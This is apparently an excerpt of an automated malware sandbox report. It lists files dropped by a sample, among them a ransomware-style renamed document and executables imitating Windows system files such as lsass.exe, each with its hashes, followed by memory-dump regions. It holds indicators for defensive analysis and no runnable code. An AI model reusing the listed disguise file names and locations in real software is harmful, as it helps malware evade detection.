SHA2567064db7a9b22a1609100afd1e05092fb61b86bcaa5580bb9618b3efe2183633f
SHA512b0417a08b74ee5f2041faf5c31f28119a11d380ed6bb29e216e0a3033f580141766587fbb9ba4987c4b654b1f7a1f7c1dc02e98a9f71da1be0eae39121c0cf0e
-
C:\Users\Admin\Documents\Cpriv.Loki.secure[[email protected]]Filesize
2KB
MD5afc172f4961063b64a41c943c70d815e
SHA18684581953a729890bdc27fe94e8064d8a1ead38
SHA2562043849b73e9682869019f8c415d38d1d1d952b5e9b52624fd5f8e57fcb4e60a
SHA512ac37eea689723ac80cb442cb75f6d622967b4599d474bcb8c7d102db0804a995b6e7a2553995d83b2f4d99be81d55a4e548a02d130362fd4972da7223593e2b3
-
C:\Windows\SysWOW64\ctfmen.exeFilesize
4KB
MD5df20e3a153203f04793b58ed2cf895de
SHA1f6dc38cd9c0006e01a6a9c15d30ff34672e4462c
SHA2566284a012fe2ed6f74b7738c9a202ba0a93517b78d2b58e3200404f27d033af22
SHA51266b3d1e0b86448c1529dc380b06059a8b20ef2de18d5b7d4b951212468d818fe54289676762980d444cc31007db57815d0eeecee3f4ed1d8b01016d2aef94a21
-
C:\Windows\SysWOW64\grcopy.dllFilesize
41KB
MD52fc648f9045faef0af62cfe8937dd227
SHA1a315ea2421b41d625d6545209678c68ea55e884f
SHA256637fdb720b8b919f371d7f6871652030b5737f2590f90a55a413758a4c18960c
SHA5121bbafb1f77f978c03d6fa1878512baa39d96b069f8dbca0b354d96460ab6d98ce40d278d1b57e25c93ac9072c90bfd806e6c3e0462e498a4de77c9773fa05220
-
C:\Windows\SysWOW64\satornas.dllFilesize
183B
MD5f980b9a8c509d2368ee4277c70aa9fd7
SHA18cdcf646a6a3a102bdb0b9c1e987a018d8e0c35b
SHA2568ea777f4d95dac764998a42371697e0075b91656fe9d96dfbbf7487db0750c39
SHA5124fb6ec79a171e76d5a1831829fcd5752919b7982e1eab3814a842ce2ae90438d15d0195436ff78ffa6e36e8feee9c26dffb8630e68d629850874cc3bbfe62eaf
-
C:\Windows\SysWOW64\shervans.dllFilesize
8KB
MD56fa07d3216da30c47a5c5326d0265f6a
SHA1016c15e9538fae1f0e59369a3467f04a47385d6c
SHA25651e6f64e2aacef7ca12a4499071dadcc5535d8b7b5965c46ac321ef2e6240671
SHA51214f7e91180d2248772e28da36d3434ea528b4e0aa68d174eccc8bda9c7cdc220369b99de147f8e2286f9826c9fe92185851d237e9c3c4d6920d6bdf4d2e056df
-
C:\Windows\lsass.exeMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
C:\Windows\services.exeFilesize
8KB
MD5b0fe74719b1b647e2056641931907f4a
SHA1e858c206d2d1542a79936cb00d85da853bfc95e2
SHA256bf316f51d0c345d61eaee3940791b64e81f676e3bca42bad61073227bee6653c
SHA5129c82e88264696d0dadef9c0442ad8d1183e48f0fb355a4fc9bf4fa5db4e27745039f98b1fd1febff620a5ded6dd493227f00d7d2e74b19757685aa8655f921c2
-
memory/220-686-0x0000000000500000-0x0000000000510200-memory.dmpFilesize
64KB
-
memory/756-1683-0x0000000000400000-0x00000000005E6000-memory.dmpFilesize
1.9MB
-
memory/756-1029-0x0000000000400000-0x00000000005E6000-memory.dmpFilesize
1.9MB
-
memory/756-1670-0x0000000000400000-0x00000000005E6000-memory.dmpFilesize
1.9MB
-
memory/888-510-0x0000000000400000-0x0000000000409000-memory.dmpFilesize
36KB
-
memory/1012-1030-0x0000000000400000-0x00000000008D5000-memory.dmpFilesize
4.8MB
-
memory/1012-14742-0x0000000000400000-0x00000000008D5000-memory.dmpFilesize
4.8MB
-
memory/1344-1033-0x00000000051D0000-0x0000000005262000-memory.dmpFilesize
584KB
-
memory/1344-1041-0x0000000005160000-0x0000000005182000-memory.dmpFilesize
136KB
-
memory/1344-1032-0x00000000008A0000-0x0000000000924000-memory.dmpFilesize
528KB
-
memory/1344-1040-0x0000000005450000-0x00000000054C6000-memory.dmpFilesize
472KB
-
memory/1532-1217-0x0000000010000000-0x00000000100B8000-memory.dmpFilesize
736KB
-
memory/1532-844-0x0000000000240000-0x0000000000324000-memory.dmpFilesize
912KB
-
memory/1532-1218-0x0000000010000000-0x00000000100B8000-memory.dmpFilesize
736KB
-
memory/1532-1059-0x0000000010000000-0x00000000100B8000-memory.dmpFilesize
736KB
-
memory/1532-910-0x0000000000870000-0x0000000000871000-memory.dmpFilesize
4KB
-
memory/1532-1225-0x0000000000240000-0x0000000000324000-memory.dmpFilesize
912KB
-
memory/1568-733-0x0000000000500000-0x0000000000510200-memory.dmpFilesize
64KB
-
memory/1568-392-0x0000000000800000-0x000000000080D000-memory.dmpFilesize
52KB
-
memory/1568-731-0x0000000000500000-0x0000000000510200-memory.dmpFilesize
64KB
-
memory/1576-511-0x0000000000500000-0x0000000000510000-memory.dmpFilesize
64KB
-
memory/1576-833-0x0000000000500000-0x0000000000510000-memory.dmpFilesize
64KB
-
memory/1712-321-0x0000000000800000-0x000000000080D000-memory.dmpFilesize
52KB
-
memory/1736-846-0x0000000000500000-0x0000000000510200-memory.dmpFilesize
64KB
-
memory/2072-843-0x0000000000500000-0x0000000000510200-memory.dmpFilesize
64KB
-
memory/2072-698-0x0000000000500000-0x0000000000510200-memory.dmpFilesize
64KB
-
memory/2392-845-0x0000000000500000-0x0000000000510200-memory.dmpFilesize
64KB
-
memory/2428-180-0x0000000010000000-0x000000001000D000-memory.dmpFilesize
52KB
-
memory/2428-132-0x0000000000400000-0x000000000041F000-memory.dmpFilesize
124KB
-
memory/2428-533-0x0000000010000000-0x000000001000D000-memory.dmpFilesize
52KB
-
memory/2428-841-0x0000000000500000-0x0000000000510200-memory.dmpFilesize
64KB
-
memory/2604-577-0x0000000000400000-0x0000000000408000-memory.dmpFilesize
32KB
-
memory/2728-74-0x0000000000400000-0x00000000004E3000-memory.dmpFilesize
908KB
-
memory/2892-832-0x0000000000400000-0x0000000000408000-memory.dmpFilesize
32KB
-
memory/2892-306-0x0000000000400000-0x0000000000408000-memory.dmpFilesize
32KB
-
memory/2892-726-0x0000000000400000-0x0000000000408000-memory.dmpFilesize
32KB
-
memory/2892-1678-0x0000000000400000-0x0000000000408000-memory.dmpFilesize
32KB
-
memory/2892-1687-0x0000000000400000-0x0000000000408000-memory.dmpFilesize
32KB
-
memory/3260-124-0x0000000005820000-0x00000000058BC000-memory.dmpFilesize
624KB
-
memory/3260-814-0x000000000AD40000-0x000000000B2E4000-memory.dmpFilesize
5.6MB
-
memory/3260-234-0x00000000069C0000-0x0000000006B06000-memory.dmpFilesize
1.3MB
-
memory/3260-123-0x0000000000650000-0x0000000000FAC000-memory.dmpFilesize
9.4MB
-
memory/3500-282-0x0000000000500000-0x0000000000510200-memory.dmpFilesize
64KB
-
memory/3568-680-0x0000000000500000-0x0000000000510200-memory.dmpFilesize
64KB
-
memory/3592-830-0x0000000000800000-0x000000000080D000-memory.dmpFilesize
52KB
-
memory/3592-214-0x0000000000800000-0x000000000080D000-memory.dmpFilesize
52KB
-
memory/3592-690-0x0000000000800000-0x000000000080D000-memory.dmpFilesize
52KB
-
memory/3768-839-0x0000000000500000-0x0000000000510200-memory.dmpFilesize
64KB
-
memory/3796-842-0x0000000000500000-0x0000000000510200-memory.dmpFilesize
64KB
-
memory/4048-727-0x0000000000500000-0x0000000000510000-memory.dmpFilesize
64KB
-
memory/4080-837-0x0000000000500000-0x0000000000510200-memory.dmpFilesize
64KB
-
memory/4120-134-0x0000000000400000-0x000000000041F000-memory.dmpFilesize
124KB
-
memory/4252-536-0x0000000000400000-0x000000000041F000-memory.dmpFilesize
124KB
-
memory/4252-834-0x0000000000400000-0x000000000041F000-memory.dmpFilesize
124KB
-
memory/4252-1680-0x0000000000400000-0x000000000041F000-memory.dmpFilesize
124KB
-
memory/4252-691-0x0000000010000000-0x000000001000D000-memory.dmpFilesize
52KB
-
memory/4252-1031-0x0000000000400000-0x000000000041F000-memory.dmpFilesize
124KB
-
memory/4280-1675-0x0000000000800000-0x000000000080D000-memory.dmpFilesize
52KB
-
memory/4280-685-0x0000000000800000-0x000000000080D000-memory.dmpFilesize
52KB
-
memory/4280-196-0x0000000000800000-0x000000000080D000-memory.dmpFilesize
52KB
-
memory/4344-1016-0x0000000000400000-0x000000000044F000-memory.dmpFilesize
316KB
-
memory/4344-509-0x0000000000400000-0x000000000044F000-memory.dmpFilesize
316KB
-
memory/4344-1660-0x0000000000400000-0x000000000044F000-memory.dmpFilesize
316KB
-
memory/4344-684-0x0000000000400000-0x000000000044F000-memory.dmpFilesize
316KB
-
memory/4344-77-0x0000000000400000-0x000000000044F000-memory.dmpFilesize
316KB
-
memory/4468-1049-0x0000000005840000-0x000000000584A000-memory.dmpFilesize
40KB
-
memory/4468-1034-0x0000000000DE0000-0x0000000000DEC000-memory.dmpFilesize
48KB
-
memory/4640-1011-0x00000000008A0000-0x00000000008C0000-memory.dmpFilesize
128KB
-
memory/4756-838-0x0000000000500000-0x0000000000510200-memory.dmpFilesize
64KB
-
memory/4808-840-0x0000000000800000-0x000000000080D000-memory.dmpFilesize
52KB
-
memory/4840-1025-0x0000000000170000-0x0000000000196000-memory.dmpFilesize
152KB
-
memory/4840-1026-0x0000000004890000-0x00000000048F6000-memory.dmpFilesize
408KB
-
memory/5796-1654-0x0000024BD1A00000-0x0000024BD1A01000-memory.dmpFilesize
4KB
-
memory/5796-1655-0x0000024BD1A00000-0x0000024BD1A01000-memory.dmpFilesize
4KB
-
memory/5796-1646-0x0000024BD1A00000-0x0000024BD1A01000-memory.dmpFilesize
4KB
-
memory/5796-1644-0x0000024BD1A00000-0x0000024BD1A01000-memory.dmpFilesize
4KB
-
memory/5796-1645-0x0000024BD1A00000-0x0000024BD1A01000-memory.dmpFilesize
4KB
-
memory/5796-1651-0x0000024BD1A00000-0x0000024BD1A01000-memory.dmpFilesize
4KB
-
memory/5796-1652-0x0000024BD1A00000-0x0000024BD1A01000-memory.dmpFilesize
4KB
-
memory/5796-1656-0x0000024BD1A00000-0x0000024BD1A01000-memory.dmpFilesize
4KB
-
memory/5796-1650-0x0000024BD1A00000-0x0000024BD1A01000-memory.dmpFilesize
4KB
-
memory/5796-1653-0x0000024BD1A00000-0x0000024BD1A01000-memory.dmpFilesize
4KB
-
memory/5848-1255-0x0000000000400000-0x0000000000538000-memory.dmpFilesize
1.2MB
-
memory/9696-27390-0x0000000005C10000-0x0000000005C2E000-memory.dmpFilesize
120KB
-
memory/9696-27393-0x00000000061B0000-0x00000000061FC000-memory.dmpFilesize
304KB
-
memory/9696-27330-0x0000000005680000-0x00000000059D4000-memory.dmpFilesize
3.3MB
-
memory/9696-27226-0x0000000004E70000-0x0000000004E92000-memory.dmpFilesize
136KB
-
memory/9696-27227-0x0000000004F10000-0x0000000004F76000-memory.dmpFilesize
408KB
-
memory/9696-26241-0x0000000004FE0000-0x0000000005608000-memory.dmpFilesize
6.2MB
-
memory/9696-26240-0x0000000002340000-0x0000000002376000-memory.dmpFilesize
216KB
-
memory/12940-26291-0x00000210DB550000-0x00000210DB572000-memory.dmpFilesize
136KB